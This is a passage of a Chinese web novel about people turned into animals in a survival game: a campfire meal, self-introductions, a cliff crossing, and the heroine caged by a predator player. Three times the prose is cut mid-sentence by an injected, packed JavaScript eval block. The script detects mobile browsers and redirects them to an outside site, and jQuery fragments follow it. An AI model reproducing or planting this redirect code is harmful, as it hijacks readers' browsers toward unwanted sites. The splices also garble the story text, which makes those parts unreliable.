听到宁安然的话,豪猪的眼睛转了转,随后静止在原地变成了人形:“各位,我有个主意!” 大家都疑惑地看向她。 下一刻,女孩的手掌中出了一盒火柴,她从里面拿出来了一根,兴奋地说道:“我们吃烤串儿怎么样?” 此话一出,三人都起了兴致,看着火柴眼睛发亮——自从来了这个世界后,他们每天都过着茹毛饮血的生活,吃的不是生肉就是生野菜。虽然经过动物化之后,这些东西不会让他们肚子不满意,但嘴巴总归是不太满意的。 看着鼹鼠和椋鸟已经坐不住了,宁安然连忙说道:“你这火柴应该数量不多吧,这样用会不会太浪费了?” 在这个世界里,这种工业化产物都需要完成活动任务才能拿到。她之前费了半天劲才拿到一个水桶,火柴明显比水桶更珍贵,豪猪拿到它的过程肯定更不容易。 女孩摇了摇头:“不用担心,现在就是该用的时候。我们去找点树枝,把吃的串起来烤吧!” “好嘞,那我去捡树枝了!”一提到吃,林行就来劲了,他立刻变成了人形,飞也似地跑了出去。 唐婧也是吃货,她也跟着变成了人形跑出去:“我去捡生火的树叶!” 最吵的两个家伙离开了,独角仙壳内顿时安静了不少。 宁安然也顺势变回了人形,坐在了地上。她将一缕发丝捋到耳后,抬眼看向女孩:“忘记问你了,你叫什么名字?” “我叫梅子溪。你呢?”女孩的眼里闪过惊艳,在看到她身上大大小小的伤痕后又转为了心疼,“你、你怎么受了这么多伤?” 宁安然无所谓地说道:“都是以前的事了,不要紧,不过你身上的伤也不少啊!” 梅子溪的左肩处有一道崎岖的伤口,一直蔓延到工字背心里面。她的膝盖和手肘处也有着好几块淤青。 “嗯,其实大部分都没什么,都是我刚才爬上来的时候磕的。”她先是指了指身体上的淤青,随后把工字背心的领口拉开了一些,露出了那条从左肩一直到心脏上方的伤口,“这一条就不一样了,它是我在爬青海岗什卡峰的时候弄的。当时我在沿着冰层向上爬的时候,冰镐直接在冰面由上往下划出来了一条大缝!我顺着那条缝一路向下滑,中间不知道哪里冒出来了一根冰锥,在我的胸口拉了一道大口子!” 梅子溪在讲述时眉飞色舞的,仿佛那条冰裂缝就在她面前一般。 “那还是我第一次看见自己的肋骨呢,你说是不是很神奇!医生说还好我运气好,那冰锥还差一点就□□心脏里了!” 原本梅子溪话不是很多,在宁安然面前稍微有些拘谨。而一聊到攀岩,她的话匣子一下就打开了,周围的空气似乎都沸腾了起来。 宁安然被她的热情所感染,嘴角挽起了笑容:“你是真的很喜欢攀岩啊!” 梅子溪重重地点了点头:“当然了!只是……” 她的表情惆怅了起来:“我本来马上就要去爬珠峰的,攻略早就做好了,装备也都备齐了,结果却被拉进了这个游戏里。” 就在这时,唐婧和林行回来了,一个抱着一堆树叶,另一个抱着一摞树枝。 “柠檬姐,豪猪姐,你们在聊啥呢?”林行好奇地看着她们。 “在聊她来这个世界之前的事。”宁安然说道,“我们把火升起来吧,把肉和菜都串一下。” 外面的天色已经暗下来了,只有群星的微弱光辉在半透明的甲壳天花板外闪烁着。“呲啦”声响起,一道明艳的光划过暗沉的天色,落在层层叠叠的树叶上,“噼里啪啦”地燃起了灼热的火焰。 狞猫肉、薯蓣、还有梅子溪带来的莎草球茎被串成了串,放在火堆上烤着。油脂滴落在燃烧着的叶子上,滋滋冒着细小的火星,野味的鲜香裹着焦甜的淀粉气息在温室中散开。 烤串在火上翻了一遍又一遍,已经饿扁了的四人眼睛都不带挪开的,不时吞着口水。林行好几次想要去够那串还没熟透的最大的肉串,都被唐婧一巴掌拍了回来。 过了一会儿,狞猫肉内里的红汁涌了出来,边缘烤得焦香发黑,像刚切开的七分熟牛排。薯蓣被掰开的断面从白色慢慢烤成焦黄,表皮隆起了一层薄脆的壳。而莎草球茎受热了之后反而渗出一点白色汁水来,混着燃烧的烟气,闻起来竟有几分烤栗子的味道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470654|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “行了行了行了,已经熟透了!”林行再也忍不住了,不等其他人开口就拿了一串肉,塞进嘴里后烫得他龇牙咧嘴地倒吸凉气,也不肯松嘴。 唐婧比他多矜持了三秒钟,然后抓了一串薯蓣放进嘴里。一口咬下去,焦香的脆壳在口腔里“咔”地碎开,露出里面绵软但滚烫的内芯。她也被烫得咬牙切齿,含糊不清地说道:“好次……这可比生的好吃多辣!” 宁安然没急着吃,而是递了一串狞猫肉给梅子溪。 梅子溪愣了一下,轻声说了句“谢谢”,低下头小口地咬着肉。 四个人都没有再说话,只剩下咀嚼声和偶尔被烫到之后的抽气声。厚甲壳将灼热的夜风挡在了外面,火堆的光芒映在半透明的甲壳壁上,四个影子也跟着晃动,像是水晶球里一个小小的世界一样。 “对了,既然这个荫壳是我们共有的,那我们接下来就一起生活吧。”宁安然提议道,“我和唐婧之前是大学同学,但是和你们二位不是很熟,要不我们各自做一个自我介绍,顺便说一说是怎么被拉进这个游戏里的?” 林行抹了一把自己嘴上的油,率先搭腔道:“行!姐说要自我介绍,那咱就必须先报到。我叫林行,枪林弹雨的林,横行霸道的行! “我今年17,高中没念了出来打工,在鱼摊上帮我老板卖鱼。我跟你们说,咱这摊子上的鱼可都是黑龙江里的鱼王,从草鱼、鲶鱼到鳌花、鳊花、鲫花,用那东北大酱一焖,啧啧,都香飞边子了都! “其实我也不知道为啥进这个游戏的,那天我正卖着鱼呢,盯着鱼缸里的鱼多瞅了几眼,就莫名其妙给我整这儿来了。” 林行给唐婧都说馋了,她吞了一口口水:“我特别喜欢吃你们那边的鲶鱼炖茄子,太香了! “我是唐婧,今年27岁,和小柠是一届的。我在首都大学毕业之后就去了一家小公司,当建筑工程师。那公司真的绝了,996就算了还天天给我塞不在我工作职责里的活,我真的每天都想暗杀老板!! “我是因为有一天在《学术人物》杂志上看到了小柠发的专栏,里面是她这几年的学术经历,然后就突然被拉进游戏了。” 听到唐婧和宁安然的学历之后,林行眼睛都瞪大了:“嚯,柠檬姐和糖糖姐都是高材生啊!” 宁安然翻了林行一个白眼:“别捧杀了行吗? “宁安然,27岁,在首都大学读博。我那天在办公室里,刚准备签人才引进协议书,就来到了这个世界里,变成了一只狐獴。” 梅子溪后知后觉地摸了摸脖子:“安然,原来你不是鼠兔呀!”她顿了一下,“等等,你27岁就要当教授了吗,好厉害!” “没事,谢谢。”宁安然轻笑了一下——鼠兔在山区很常见的小型哺乳动物之一,而狐獴只生活在干旱平原上。一个爬山的人不认识狐獴,太正常了。 “我叫梅子溪,今年25岁,工作是登山教练,以前也当过攀岩运动员。那天我在四川带着学员一起爬四姑娘山,正好碰上一大群岩羊跑出来。因为是少见的景象,所以我们停下来看了一会儿,没想到看着看着我就穿到这个游戏里来了。”梅子溪说道。 听完所有人的自我介绍,宁安然皱起了眉。 她原以为是因为《学术人物》这本杂志自己才会被拉进《动物世界》,但是林行和梅子溪显然都没听说过这本杂志。 那到底是因为什么? 18. 稀树草原 看来这个游戏的进入条件,比宁安然想得要复杂得多。 “好家伙,一个比一个强啊,就我一个小卡拉米混进团队了。”林行听完一圈自我介绍后感叹道。 唐婧瞥了林行一眼,叉起了腰:“还真是,小林,以后学着点!” “嘿,我客气客气,你还跟我赛脸了是吧!”林行青筋一跳,就要和唐婧掐起来。 在场面变得更混乱之前,宁安然连忙拦住了他们这俩活宝,一手一个拎小鸡似地把他们分到两边。 “好了别闹了,我们理智都很低,早点休息吧。” 宁安然把尹寂给他们的毛绒软垫拿了出来,三个小型动物回归了本体形态,狐獴、鼹鼠和椋鸟挤在一起趴在了上面。毛贴着毛,体温接触着体温,再加上忙了一整天的疲惫,几人的眼皮都开始耷拉下来。 梅子溪也变回了豪猪的样子,蜷着身子靠在他们几个旁边,眼睛盯着甲壳外面的情况。 由于宁安然的能力没办法检测到饱食度大于50的捕食者靠近,所以他们决定轮流守夜,防止有人偷袭,理智值最低的宁安然被分到了起床前的那一段时间。 一夜之后,清晨的阳光透过独角仙半透明的甲壳洒了进来,落在软垫中的小狐獴身上。 宁安然被太阳晃得皱了皱眉,她睁开眼睛缓缓坐了起来。 身旁的鼹鼠正趴在地上盯着外面,看到宁安然坐起身了之后,她轻声说道:“小柠,你醒啦。” 宁安然用爪子揉了揉眼睛,看了眼终端上的时间—— 【早上好,宁安然。当前时间为:旱季第2日,上午6:07。】 【雨季将在5日后降临,请做好准备。】 她在柔软的垫子上度过了一夜无梦的精致睡眠,现在理智值已经完全回满了,精神抖擞。 “糖,不是说4点叫我起来守夜吗?”宁安然嗔怪道。 唐婧咧开嘴笑了,几颗大门牙反着光,看上去很有喜感:“你昨天又蹦又跳的太累了,正好晚上多休息一会儿。我在公司里天天晚睡早起已经习惯了,让我再多睡也睡不着。” 宁安然心里一暖,她蹭过去贴了贴唐婧的肩膀,声音闷闷的:“谢谢,糖糖。” “嘿嘿,没事儿~”唐婧伸出大爪子揉乱了宁安然头顶的短毛,揉完却也没收手,爪子搭在了她脑袋上,像是想起了什么,“对了小柠,我刚才守夜的时候一直在想……昨天那条蟒蛇,你有没有觉得他的名字很熟悉?” 一提到那条蟒蛇,宁安然的困意瞬间消散了。 自从进入这个游戏之后,她遇到过不少捕食者玩家。冠雕、狞猫、鬣狗……技能各有各的强,但归根到底就是原有种族的加强版,弱点也摆在那儿,总有办法对付。 而那条蟒蛇,就不一样了。 他拥有不属于蟒蛇种族的惊人咬合力,连重达两吨的犀牛都能直接从中间咬开,光是这一点就已经脱离了正常动物进化的框架。更棘手的是,他的城府极深,对动物学的了解不亚于她,在“拟态捕食”这么短的博弈窗口里,就能现编出两个和拟态种族非常匹配的能力——一个提升飞行速度,一个提升防御力,全都是不好现场验证的方向,几乎没法在游戏里被证伪。 而在游戏中场休息的时候,他主动要求和林行组队。林行作为椋鸟,飞在空中,理论上是蟒蛇最难够到的猎物类型。这是不是说明他有什么手段,能把飞在天上的鸟类也拽下来吃掉? 一想到这种可能,宁安然就后背发凉——还好尹寂主动请缨和他一队,不然林行可能就要落到那只犀牛的下场了。 他的名字是“裴清秋”,刚听到游戏系统播报的时候宁安然没什么感觉,但唐婧这么一说,倒是好像有一点点印象。 “我好像听过他的名字,可能是很久之前了……你也听过吗?”宁安然说道。 宁安然和唐婧的交集只有大学,如果她们俩都有印象的话,只能说明她是在六年之前的大学时期听过的这个名字。 唐婧点了点头:“对的对的!我想了一晚上,终于想起来了。裴清秋是比我们大四届的优秀毕业生代表,在我们那一届新生入学的时候上台发言过来着!” 裴清秋居然是她们学校的人?! 宁安然使劲回忆了一下,好像在新生入学的时候确实有这么一个环节,但大学期间各种活动发言的人太多了,具体的她印象一点儿都没有。 “亏你还能记得,我是完全不记得了。” “不是不是,我记性比你可比你差多了,你忘了在参加大赛时候要准备的事情那么多,要不是你天天提醒我这提醒我那,我就全忘在脑后了!我能记得他,是因为阿檬。”唐婧扬起半边嘴角,鼹鼠的脸上露出了一抹神神秘秘的笑容。 “阿檬?”宁安然一愣,裴清秋和郝萌有什么关系? “嘿嘿嘿。”唐婧眼神中闪着八卦的光芒,“那天你不在学校,我和阿檬一起去食堂吃饭,碰到裴清秋正好端着饭路过,结果你猜怎么着?” 宁安然配合地问道:“怎么着呢?” “阿檬居然跟我他很帅!!”唐婧绘声绘色地描述着,两只大爪子激动地疯狂挥舞,“”没想到吧,那可是阿檬!平时话都懒得说一句的阿檬!她居然会主动——主动!说一个男生帅,简直是把我大惊得从早到晚失色!我当时就想发微信和你吐槽来着,但是你好像在忙,后来我可能就忘了。” 在“柠檬糖”三个人之间,就属郝萌话最少。能用行动解决的事,她绝不会去动嘴麻烦别人。她也很少表达情感,哪怕是她们三人毕业分开的时候,她也只是默默地拥抱了她们一下。 大学时期,唐婧天天都在追星,每过几个礼拜就会换一个墙头。但不管是再帅的明星,在唐婧拿手机怼在郝萌脸上试图按头安利的时候,郝萌从来都懒得看一眼。 能被她主动夸帅,那得是什么级别的帅? “诶?!那后来呢,怎么从来没听阿檬提过他?”宁安然心里小小的八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17474626|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卦之魂也被勾起来了。 唐婧无奈地挥了一下爪子:“哎呀,阿檬这么闷骚的一个人,肯定不会主动的啦!估计她就是自己悄悄地暗恋,人家可能根本就不知道!” “阿檬一直很要强,能被她暗恋的,肯定也是很厉害的人。”宁安然感叹道,“可问题是,这个很厉害的人现在想吃掉我们,怎么办?” 裴清秋的背包被她清空了,肯定想来报复她。 而在这个游戏里,捕猎者报复猎物的方式就只有一种。 在她们聊天的时候,一旁的林行一直倒栽葱地躺在地上,鸟嘴里发出着细小的呼噜声。而一听到“暗恋”这两个字,他一下就鲤鱼打挺跳了起来。 “暗恋,什么暗恋,谁暗恋?” 原本唐婧和宁安然只是在小声地说悄悄话,他这一嗓子嚎出来,旁边还在睡的梅子溪被震得一哆嗦,颈后的刺都炸了起来,她猛地睁开了眼睛。 唐婧翻了个白眼,抬爪给了林行的脑壳一爪子:“你个臭鸟,怎么这么八卦?你把子溪都弄醒了。” 梅子溪笑了一下,站起身将背后的刺抖顺:“没事的,时候不早了,我也该起来了。” “既然都醒了,那我们赶紧到隔壁的大岛上去吧,留在这里不安全。”宁安然提议道。 这座高耸岛屿的面积太小了,任何爬上岛的人都能一眼看到他们所在的这个独角仙房子,目标太明显。 众人也都立刻同意了——要不是昨天晚上理智太低,他们昨天就该撤到大岛上去了。 在出门之前,宁安然把独角仙掉落的灵魂炼化了一下,掉落了两张体验卡。 【获得体验卡-厚实外皮:身体外层短暂地覆盖一层几丁质硬壳,在抵御一次高强度的攻击后碎裂,覆盖期间无法移动(30秒)。】 【获得体验卡-千钧之角:获得按体型等比放大50倍的杠杆力,可以掀翻比自己大得多的障碍物(30秒)。】 这两个体验卡很符合独角仙的特性,“厚实外皮”能抵抗一次捕猎者的攻击,而“千钧之角”在撬东西的时候有奇效。 宁安然把两张卡收了起来,走出了独角仙房子。 出门之后,她立刻感觉到今天的太阳像是比昨天离得更近了一点,那滚烫的热浪仿佛在往她肉里钻一样。地面上的红土比昨天更干了,踩上去不再是硬实的触感,而是“噗”地碎开了一层粉末,扬起一波细土。 昨天的空气里还稍微有些水汽,而今天她在呼吸时都感觉嗓子像是在被砂纸摩擦,每一次吸气都让人想咳嗽。 宁安然把独角仙房子收进背包,将水桶拿出来让大家润润嗓子。 然而就在他们轮流喝水的这几分钟里,水桶的水面明显下降了一小截。干燥的空气让水的蒸发速度也变快了,这桶水如果放在这烈日下不管,估计都撑不了半个小时。 在大家喝完水之后,宁安然立刻将水桶收了起来。 众人站了起来,朝岛屿边缘走去。 19. 稀树草原 林行把之前捡的所有长藤蔓都一股脑地倒了出来,全部抻直之后,再加上这座岛上的几根长树枝,勉强能够五十米长。 用树脂将所有藤条和树枝黏连起来之后,林行照例飞了下去,把这根长绳子的一端卡在了旁边岛屿的一块大石头底下。 这藤蔓只能承受小型动物,没法承担豪猪或者人的重量,于是梅子溪便率先变成了人形,徒手向下攀岩。 她腰间别着一把自制的小镐子——一截粗藤蔓系着一块尖石头,石头当镐头,藤蔓当绳索。遇到裂隙跨不过去的时候,她就把石镐甩向对面,等石头卡在地面里,再拽着藤蔓荡过去。 梅子溪下得很果断,而另外两人那里就不一样了。 唐婧走到了悬崖边,站在这里甚至都看不清藤蔓的另一头,她的后肢不禁微微颤抖起来。 宁安然来到她旁边,用爪子踩了踩藤蔓,确认了一下牢固度:“糖糖,要不还是我先下去?” 唐婧深吸了一口气,随后摇了摇头:“没事,这次我先来吧。” 她把前爪搭上了藤蔓,然后整个身子翻了下去。藤蔓立刻剧烈晃动起来,她整只鼹鼠像一个晾衣夹一样挂在上面。林行则还是在她的下面托着她,不断地扑棱着翅膀。 这次唐婧学乖了,她没有再往下面看,两只小眼睛死死地盯着面前的藤蔓纹路,一寸一寸地往前挪。 “糖糖姐,人子溪姐没用藤条都爬得比你快。”林行悠哉悠哉地吐槽道。 唐婧翻了个白眼:“你可闭嘴吧,仗着自己有两个翅膀了不起是吧!” 从四五十米高的高空往下爬无疑是要花点时间的,过了一个多小时,梅子溪才爬到了对面的岛屿上。而又过了半个小时,唐婧也安全落地了。 只剩下宁安然了,她轻轻吐了一口气,四爪抓上藤蔓,林行依旧在下面护着她。 克服过一次的难关,她不需要再克服第二次。即使从裂隙中灌上来的热风将她的黄棕色短毛吹得倒竖,她的动作也没有停滞分毫,快速向下爬行着。 然而,她刚爬下去没多久,就闻到了一股刺激性的气味。 鼻尖刚嗅到这股味道,她就感觉大脑眩晕了一下,理智值明显下降了一截,爪子险些从藤蔓上滑下去。 “姐、姐,啥情况,什么味道这么酸啊!”林行也向下趔趄了一下,两边翅膀拍打的频率开始不同步了,“好晕啊姐,我……” 宁安然用力咬了一下舌头,口腔里的血腥味让她稍微清醒了一些——现在的情况简直差得不能再差了!她悬在半空中,周围未知的气体让她的理智在不断下降,她的爪子软得就快抓不住藤蔓了。 而她身体下方的林行明显状态也很差,飞得时高时低的,看起来随时都会栽进裂隙里。 “林行,这样下去不行的,你先飞到岸上吧!”宁安然说道。 “可是,柠檬姐……”林行不愿意走。 “快走!现在的你根本支撑不住我,你在这里没用,听话!”宁安然吼道。 林行担忧地看了她一眼,摇摇晃晃地朝对岸飞去。 他离开之后,宁安然的爪子还抓在藤蔓上面,但思维像浸了水的纸一样,水渍在快速洇开,周遭的一切都不复之前的样子了。 悬崖间的裂隙在她眼里变得柔软起来,像一张铺好的床,正一寸一寸像她靠近。 迷迷糊糊间,她看到那床铺上还摆着一张人才引进协议书,上面的签名处留着一个空档,笔就搁在旁边。 她努力了这么多年,不就是为了这张协议书么? 手指碰到笔的那一刻,她的爪子松开了。 然而,她却没有感受到任何失重感,而是整只獴悬停在了两座岛屿之间的空中。 “滴滴,滴滴,检测到捕食者……” 在意识彻底消散之前,她感觉到腰间有什么冰凉柔软的东西在逐渐收拢。 …… “啊!!不、不要杀我,求你了!” 宁安然被一道撕心裂肺的叫声惊醒了,随之而来的是身下坚硬的触感,硌得她后背上的伤口发疼。 她睁开了眼睛,面前是一根根黑色的栏杆,透过栏杆能看见对面的好几棵金合欢树。 她环顾了一下周围,四周全是黑栏杆,而上方和下方是两块黑铁板。 她被关在了一个牢笼里! 宁安然试探着在牢笼里站起身来,头顶的铁板距离她的脑袋只有两厘米的距离,就好像它是为她量身定制的一样。 这个牢笼被悬挂在了树上,离地有一米多高。 她往下方看去,只见一只鬣狗被倒吊在她所在的树的树根处,藤条紧紧地缠绕着它的四条腿,勒得皮肉向外翻卷。它的颈侧被划开了一条口子,血液正从那里喷射而出。 裂狗仍在不停地挣扎扭动着,发出凄厉的叫声。而随着它失血越来越多,它的身体开始不规律地抽搐起来,藤条被晃得发出了细碎的“嘎吱”声。 宁安然仔细分辨了一下——这不是她在“拟态捕食”游戏里遇见过的苏冉吗?! 而在苏冉的面前,站着一个身材高挑的男人。他穿着一袭与周围环境格格不入的银色西装,唯有衣摆上干涸了的暗红色血迹暗示着他曾经做过什么。他盯着面前的鬣狗,嘴角带着笑意。那双狭长的、眼尾上挑的眼睛里没有在这个世界中该有的紧绷,而是带着些许玩味,像是在观察一道摆盘还不错的菜。 ……是裴清秋。 见到他的人形态之后,宁安然终于回想起了迎新会上的那一幕。 那时的裴清秋站在台上,平淡地讲述着他是如何在高中时跳级、在大学时提前毕业、在毕业后直博成功的经历。即使新生们热情地为他欢呼喝彩着,他也从不向台下看一眼。 不过,当时的他还不至于露出这种野兽般的眼神。 “咚咚、咚咚、咚咚……” 宁安然听到了自己剧烈的心跳声。 现在这样的处境,她要怎么脱困? 也不知道裴清秋是从哪里弄来的这个牢笼,周围的杆子硬得吓人,也没有任何支点能让她用杠杆力撬开。 似乎是心情很愉快,裴清秋哼着小曲,将一柄用尖石头做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475898|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刀放在粗糙的树皮上打磨。为他伴奏的叫喊声随着血液的流失渐渐轻了下去,最终树林里只剩下他清晰的歌声了。 裴清秋将刀沿着鬣狗脖颈处的伤口切进去,向下划,鬣狗的表皮就轻松地被他扯了下来。 看到这场景,宁安然的胃猛地抽动了一下,她不再往下看,强迫自己想着脱困的办法。 现在她早已不在那座高耸的岛屿上了,也不在“拟态捕食”的岛屿或是她最开始出生点的岛屿。周围场景很陌生,看样子原本应该是一片茂密的金合欢树树林,在旱季来临之后枯萎了不少,剩下的几棵树上零星缀着发黄的叶子。 趁着裴清秋处理鬣狗尸体的时候,她戳开了左爪上的终端界面。 【晚上好,宁安然。当前时间为:旱季第2日,下午7:21。】 【雨季将在5日后降临,请做好准备。】 自从她早上晕倒之后,已经过去了12个小时! 旱季来临后白天的日照时间也变长了,所以即使现在已经到晚上7点了,太阳还没有完全落山,她才得以看清下面的情况。 唐婧、林行和梅子溪现在在哪里? 她今天还没有发布过任务,如果现在发布的话,他们几个人说不定能看见。 她刚想点开【任务发布】界面,突然想到了一件很重要的事——她的任务只有10公里内的玩家才能收到! 她点开【地图】选项,拖动了一下周围的场景,心中一凉。 她现在所在的岛屿,和早上那座高耸的岛离了20多公里,那她的同伴们肯定收不到任务信息! 即便如此,宁安然还是打算尽力尝试一下,说不定周围有别的猎物愿意接她的任务呢! 【任务标题:拯救狐獴 任务内容:请前往地图指定坐标,拯救被蟒蛇囚禁的狐獴。注意,蟒蛇具有超过两吨的咬合力,以及散发催眠毒雾的能力,请做好准备。 任务奖励:旱季秘宝-独角仙荫壳。】 在生死关头,她没有犹豫的余地了,只能把最值钱的东西放进奖励栏。 “狐獴小姐,你在看什么呢?” 在宁安然点完“发布任务”的瞬间,面前很近的位置传来了一道阴冷的声音。 裴清秋正在牢笼外面看着她,距离非常之近,宁安然连他右眼下方比灰尘还小的泪痣都能看得一清二楚。 他手里拿着一块被切得边缘整齐的肉,嘴角带着笑。而他的眼睛里却丝毫没有笑意,只有捕食者看向猎物时的冷漠。 被他这样盯着,宁安然能感受到自己的理智正剧烈地下降着。加上她今天一整天都没有吃过东西,又饿又晕的状态让她的判断力逊色于一只真正的狐獴。 宁安然的爪尖掐进了肉垫中,疼痛为她带来了几分清醒。 任务是发出去了,可她不确定有没有人会接,即使有人接了,她也不一定能撑到那人来的时候。 她必须想点别的办法脱困! 宁安然看向裴清秋,露出一抹笑容。 “裴学长,你不记得我了么?”